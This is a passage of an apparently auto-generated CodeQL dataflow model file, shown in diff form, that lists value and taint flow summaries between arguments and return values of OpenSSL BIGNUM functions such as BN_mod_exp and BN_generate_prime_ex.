BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "BN_get_flags", "(const BIGNUM *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_get_flags", "(const BIGNUM *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_get_rfc2409_prime_1024", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc2409_prime_1024", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc2409_prime_768", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc2409_prime_768", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc3526_prime_1536", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc3526_prime_1536", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc3526_prime_2048", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc3526_prime_2048", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc3526_prime_3072", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc3526_prime_3072", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc3526_prime_4096", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc3526_prime_4096", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc3526_prime_6144", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc3526_prime_6144", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc3526_prime_8192", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc3526_prime_8192", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_word", "(const BIGNUM *)", "", "Argument[*0].Field[**d]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_word", "(const BIGNUM *)", "", "Argument[*0].Field[*d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_hex2bn", "(BIGNUM **,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_is_bit_set", "(const BIGNUM *,int)", "", "Argument[*0].Field[**d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_is_bit_set", "(const BIGNUM *,int)", "", "Argument[*0].Field[*d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_is_bit_set", "(const BIGNUM *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_is_negative", "(const BIGNUM *)", "", "Argument[*0].Field[*neg]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_is_prime", "(const BIGNUM *,int,..(*)(..),BN_CTX *,void *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_is_prime_ex", "(const BIGNUM *,int,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_is_prime_fasttest", "(const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_is_prime_fasttest_ex", "(const BIGNUM *,int,BN_CTX *,int,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_kronecker", "(const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0].Field[**d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_kronecker", "(const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0].Field[*d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_kronecker", "(const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[**d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_kronecker", "(const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_lshift1", "(BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_lshift", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_lshift", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_mask_bits", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_mask_bits", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_add_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3].Field[*top]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_add_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3].Field[*top]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*6]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*6]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*7]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*7]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*7]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*10]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*10]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*10]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*10]", "Argument[*8]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*6]", "Argument[*8]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*6]", "Argument[*9]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*8]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*8]", "Argument[*6]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*8]", "Argument[*9]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*9]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*9]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_consttime_x2", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*9]", "Argument[*8]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_word", "(BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_word", "(BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_mont_word", "(BIGNUM *,unsigned long,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp_recp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*3].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_exp_simple", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp_simple", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*0].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_exp_simple", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*3].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_exp_simple", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_mod_inverse", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_mod_lshift1", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift1", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift1", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift1", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - 